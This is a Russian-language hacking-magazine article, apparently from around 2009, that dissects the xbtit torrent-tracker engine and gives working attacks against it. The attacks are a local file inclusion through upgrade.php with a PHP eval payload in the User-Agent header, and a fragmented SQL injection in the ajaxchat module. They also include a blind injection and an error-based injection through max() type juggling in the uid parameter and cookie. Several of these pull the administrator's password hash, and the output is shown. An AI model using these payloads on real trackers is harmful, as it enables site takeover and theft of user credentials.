Названия некоторых функций языка PHP настолько просты и понятны, а принципы
работы кажутся такими логичными, что ни один более-менее опытный программист не
станет лезть в дебри документации, с целью выяснить, что конкретно делает данная
функция. И порой за такую самонадеянность можно поплатиться собственным сайтом,
базой пользователей и репутацией.

 

Первичный осмотр пациента

Скачиваем движок, распаковываем, устанавливаем. Бегло просматриваем все файлы
— обращение к большинству файлов напрямую закрыто, доступ только через index.php.
Также в системе присутствует так называемый Anti-Hacking Module by CobraCRK, —
он содержится в файле include/crk_protection.php и фильтрует переменные,
передаваемые в массивах $_SERVER['QUERY_STRING'], $_REQUEST и $_COOKIE, на
наличие определенных стоп-слов.

Помимо кода торрент-трекера, движок использует дополнительные модули, к
файлам которых можно обращаться напрямую. И, разумеется, напрямую можно
обращаться к файлу upgrade.php, который необходим для обновления движка. С
upgrade.php мы и начнем. Заходим в этот файл через браузер напрямую и получаем
сообщение о том, что так, мол, и так, в целях безопасности пользоваться скриптом
апгрейда нам не дадут, пока мы не удалим файлик install.lock из корневой
директории. Углубимся в содержимое файла, чтобы выяснить, что происходит перед
тем, как мы видим этот текст.

Обращаем внимание, что для вывода сообщения с приветствием или ошибкой скрипт
пытается определить язык, на котором это приветствие показывать. И для этого
вызывается функция load_lang_file(). Заметь, пользователь сам может выбрать, на
каком языке ему проще и понятнее читать сообщения системы, и реализована эта
возможность при помощи следующего кода:

// Override the language file?
if (isset($_GET["lang_file"]))
$_SESSION["install_lang"] = $_GET["lang_file"];
elseif (isset($GLOBALS["HTTP_GET_VARS"]["lang_file"]))
$_SESSION["install_lang"] = $GLOBALS["HTTP_GET_
VARS"]["lang_file"];
// If no language is selected, use English as the default
else $_SESSION["install_lang"] = "install.english.php";

Бегло просматриваем код дальше и видим, что переменная $_SESSION["install_lang"]
никак не фильтруется, и практически сразу, после проверки на существование файла
с таким именем в папке /language/install_lang/, идет ее инклуд:

// And now include the actual language file itself.
require_once(dirname(__FILE__) . '/language/install_lang/' . $_SESSION["install_lang"]);

Перед нами классическая LFI-уязвимость, методы работы с которой описаны в
отличной статье Маг'а в
Х №127. И,
соответственно, воспользоваться ей мы можем, отправив, например, запрос:

GET http://site.com/upgrade.php?lang_file=../../../../../../../../proc/self/environ&cmd=phpinfo();
User-Agent: <?php eval($_GET[cmd]); ?>

 

Анализируем сторонние модули

Локальный инклуд это, конечно, хорошо, но смущает, что не так уж много
владельцев трекеров оставляют его в корневой директории. По крайней мере, по
сведениям гугла, а ему я склонен доверять. Поэтому переключаем внимание на
компоненты от сторонних производителей, присутствующие в движке. Основная
проблема движков, их использующих, заключается в том, что зачастую разработчики
придерживаются различных концепций обеспечения безопасности. Взгляни на
директорию под названием ajaxchat: первое, на что следует обратить внимание, это
то, что ни один из скриптов в этой папке не использует Anti-Hacking Module,
который используется во всем остальном движке, а значит, и в случае обнаружения
потенциальных SQL-инъекций мучиться придется поменьше. Теперь внимание на файл
sendChatData.php. В первых же строках видим код, который сообщает, что в
неинициализированные переменные мы можем записывать любые значения из массива $_POST:

if (!ini_get('register_globals')) { extract($_POST, EXTR_SKIP); }

Дальше видим, что значения переменных $n, $c и $u, соответственно, попадают в
переменные $name, $text и $uid. И в этих переменных слешируются одинарные
кавычки, — логично предположить, что это сделано для создания видимости защиты
от SQL-инъекций.

$name = str_replace("\'","'",$name);
$name = str_replace("'","\'",$name);
$text = str_replace("\'","'",$text);
$text = str_replace("'","\'",$text);

Бегло просмотрев дальнейший код, видим, что, если в $name, $text, $uid
что-нибудь записано, то вызывается функция addData, которая выглядит следующим
образом:

function addData($name,$text,$uid) {
include("../include/settings.php"); #
getting table prefix
$now = time();
$sql = "INSERT INTO {$TABLE_PREFIX}chat
(time,name,text,uid) VALUES ('".$now."','".$n
ame."','".$text."','".$uid."')";
$conn = getDBConnection();
$results = mysql_query($sql, $conn);
if (!$results || empty($results)) {
# echo 'There was an error creating
the entry';
end;
}
}

Вроде бы разработчики в запросе нигде не забыли окружить передаваемые
параметры одинарными кавычками. В параметрах все одинарные кавычки
заэкранированы. Что же можно сделать в такой ситуации? А вот что — мы обратимся
к технике работы с так называемыми фрагментированными SQL-инъекциями. Суть в
том, что в запросе мы можем передать в параметре $name в качестве последнего
символа символ «\», и кавычка, идущая после $name, окажется заэкранированной! И
все, что мы запишем в $text, уже будет интерпретироваться как командная часть
запроса, а не как просто передаваемые в запрос данные. То есть, на примере, —
если мы передадим в скрипт такой пакет:

POST http://test2.ru/ajaxchat/sendChatData.php
n=a\&c=,version(),1)--%201&u=1

То в базу пойдет вот такой SQL-запрос:

INSERT INTO xbtit_chat (time,name,text,uid) VALUES
('1255641864','a\',',version(),1)--1','1')

А это значит, что кусок запроса '1255641864','a\',' MySQL воспримет как
данные, которые необходимо записать в поле time, а в поле name уже пойдет
результат выполнения функции version(). Осталось найти, где посмотреть результат
выполнения. Собственно скрипт, позволяющий читать из этой таблицы, лежит совсем
рядом и называется getChatData.php.

Чтобы получить пароль администратора, шлем такой запрос (у администратора id
обычно равен 2):

POST http://test2.ru/ajaxchat/sendChatData.php
c=,(select+password+from+xbtit_users+where+id=2),1)--%201&u=1&n=a\

И по адресу http://test2.ru/ajaxchat/getChatData.php наслаждаемся результатом
в виде хеша пароля администратора:

# 15/10/2009 22:45:22 | a',: e00cf25ad42683b3df678c61f42c6bda

 

Углубляемся в дебри

Уязвимость в ajaxchat это уже лучше, но, как легко заметить, она не будет
работать при magic_quotes=ON, что сделает часть серверов недоступными для
взлома. Нам бы этого не хотелось, так что роем дальше. Просматриваем файлы
самого движка, и в файле user/usercp.index.php натыкаемся на код:

if ($do=="verify" && $action=="changemail"){
// Get the other values we need from the url
$newmail=$_GET["newmail"];
$id=max(0,$_GET["uid"]);
$random=max(0,$_GET["random"]);
$idlevel=$CURUSER["id_level"];
// Get the members random number, current email and temp email from their record
$getacc=mysql_fetch_assoc(do_sqlquery("SELECT random,
email, temp_email".(($GLOBALS["FORUMLINK"]=="smf") ?
", smf_fid" : "")." from {$TABLE_PREFIX}users WHERE id=".$id));

В нем как раз и встречается та самая обманчивость «простых» функций языка PHP.
Обратим взгляд на строчку $id=max(0,$_GET["uid"]). Многие, исходя из названия
функции, могут сразу решить, что она просто сравнивает два числа и запишет в $id
большее из них. В принципе, да, верно. А что произойдет, если в $_GET["uid"]
будет не число, а строка, к примеру '1aaa'? Тогда можно подумать, что в
результате этой функции PHP приведет '1aaa' к числу 1, выберет максимальное из 0
и 1 и вернет соответственно 1. Эти рассуждения почти верны. В документации
сказано, что функция MAX() сравнит аргументы между собой, в данном случае —
приведет второй аргумент также к числу и вернет больший из аргументов в том же
виде, в котором функция его и получила! То есть, в случае примера, описанного
выше, в $id окажется строка '1aaa', а не число 1. И в SQL-запрос попадет 
именно эта строка, а не число, как предполагали программисты данного участка
кода. Для осуществления атаки через эту уязвимость для пробы формируем запрос:

http://test2.ru/index.php?page=usercp&do=verify&action=changemail&uid=-1+UNION+SELECT+1,2,3+--+1

И жестко обламываемся — срабатывает тот самый Anti-Hacking Module, которому
не нравится присутствие слов UNION SELECT в запросе. Вывода ошибки на экран в
случае неверного запроса нет, а значит, инъекцию придется крутить как слепую.
Посмотрим на наш запрос: мы и так получаем данные из таблицы users, и сложных
подзапросов можно не писать. В запросе из таблицы выбирается строка, в которой
id=$_GET["uid"]. Но если попробуем передать в параметре $_GET["uid"] чужой номер
id, то движок ругнется, что мы можем использовать только свой. Ну, ладно, свой
так свой. Снова вспоминаем, как PHP сравнивает числа между собой при помощи
оператора «==». Если вместо одного из чисел встречается строка, то PHP просто
отбрасывает из этой строки все, начиная с первого нечислового символа. Так,
строку «3-1» оператор сравнения воспримет как число 3. А MySQL, встретив такую
операцию в запросе, выполнит ее и получит в результате число 2. Поэтому, в
случае, если твой id=3, запрос для посимвольного перебора хеша пароля
администратора можно сформировать таким образом:


http://test2.ru/index.php?page=usercp&do=verify&action=changemail&uid=3-1+and+101=ascii(substring(password,1,1))

Если символ подобран верно, получаем предупреждение «Warning: Missing
argument 2 for err_msg()»; если неверно — сообщение о том, что наш email-адрес
был изменен. Если будешь писать сплоит для этой уязвимости, не забывай о том,
что при работе со слепыми инъекциями предпочтительнее использовать метод
бинарного (двоичного) поиска.

 

Контрольный выстрел

Какие минусы у прошлой найденной инъекции? Во-первых, необходимо получить
аккаунт на трекере, что может быть проблематично, если трекер  приватный.
Во-вторых, приходится тратить время на посимвольный перебор данных из базы.
Попробуем избавиться от этих ограничений. Для этого посмотрим на функции,
которые выполняются до того, как пользователь залогинился. Зная «болезни»
данного движка, можно просто присмотреться к использованию функций MIN() и MAX().

Поиском сразу же находится подходящий уязвимый файл, который подключается в
самом начале index.php и отрабатывает до того, как пользователь логинится. Это
файл /include/functions.php. Уязвима функция userlogin(), которая проверяет, не
установлены ли у нас куки с ID и паролем.

Уязвимый код:

if (!isset($_COOKIE["uid"])) $_COOKIE["uid"] = 1;
$id = max(1 ,$_COOKIE["uid"]);
// it's guest
if (!$id)
$id=1;
$res = mysql_query("SELECT u.smf_fid, u.topicsperpage, u.postsperpage,
u.torrentsperpage, u.flag, u.avatar, UNIX_TIMESTAMP(u.lastconnect) AS
lastconnect, UNIX_TIMESTAMP(u.joined) AS joined, u.id as uid, u.username,
u.password, u.random, u.email, u.language,u. style, u.time_offset, ul.* FROM
{$TABLE_PREFIX}users u INNER JOIN {$TABLE_PREFIX}users_level ul ON u.id_level=ul.id
WHERE u.id = $id") or sqlerr(__FILE__, __LINE__);

Если бы не было проактивной защиты, можно было бы просто вывести все
интересующие нас поля стандартным методом, сразу после подбора колонок. Но
поскольку такой возможности нет, обратим внимание на то, что в случае
невыполнения запроса мы увидим ошибку, которую вернет нам MySQL. Поэтому ничто
не мешает в 5-й ветке вывести интересующее нас поле целиком, при помощи метода с
использованием name_const(), описанного мной в
Х №129. Составляем
запрос (не забываем, что uid должно начинаться с цифры строго большей, чем 1):

GET http://test2.ru/index.php
Cookie: uid=2+and+1=(SELECT * FROM (SELECT * FROM (SELECT NAME_CONST((SELECT
concat(username,0x3a,password) FROM xbtit_users WHERE id=2), 14)d) as t JOIN (SELECT
NAME_CONST((SELECT concat(username,0x3a,password) FROM xbtit_users WHERE id=2),
14)x)e)k) -- 1

И получаем результат:

ERR_SQL_ERR
Duplicate column name 'admin:e00cf25ad42683b3df678c61f42c6bda' in
Z:\home\test2.ru\www\include\ functions.php, line 332

Получили все, что хотели, одним запросом. Причем нам не понадобились ни
регистрация на трекере, ни дополнительное время на перебор, ни какие-либо особые
требования вроде magic_quotes_gpc=Off.

 

Заключение

Исследуя чужой код на уязвимости, старайся не думать, как программист, думай,
как хакер. Подвергай сомнению все методы, используемые программистом, проверяй
их на практике. Не доверяй интуитивно понятным вещам. Вдумчиво читай
документацию по всем функциям, которые  встречаешь в коде и ищи участки
кода, в которых нарушается логика работы системы безопасности.

 

WARNING

Внимание! Информация представлена исключительно с целью ознакомления! Ни
автор, ни редакция за твои действия ответственности не несут!

 

LINKS


http://php.net/manual/en/index.php
— документация по PHP.

http://dev.mysql.com/doc
— документация по MySQL.

http://qwazar.ru — тут мне
всегда можно задать любой вопрос.

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии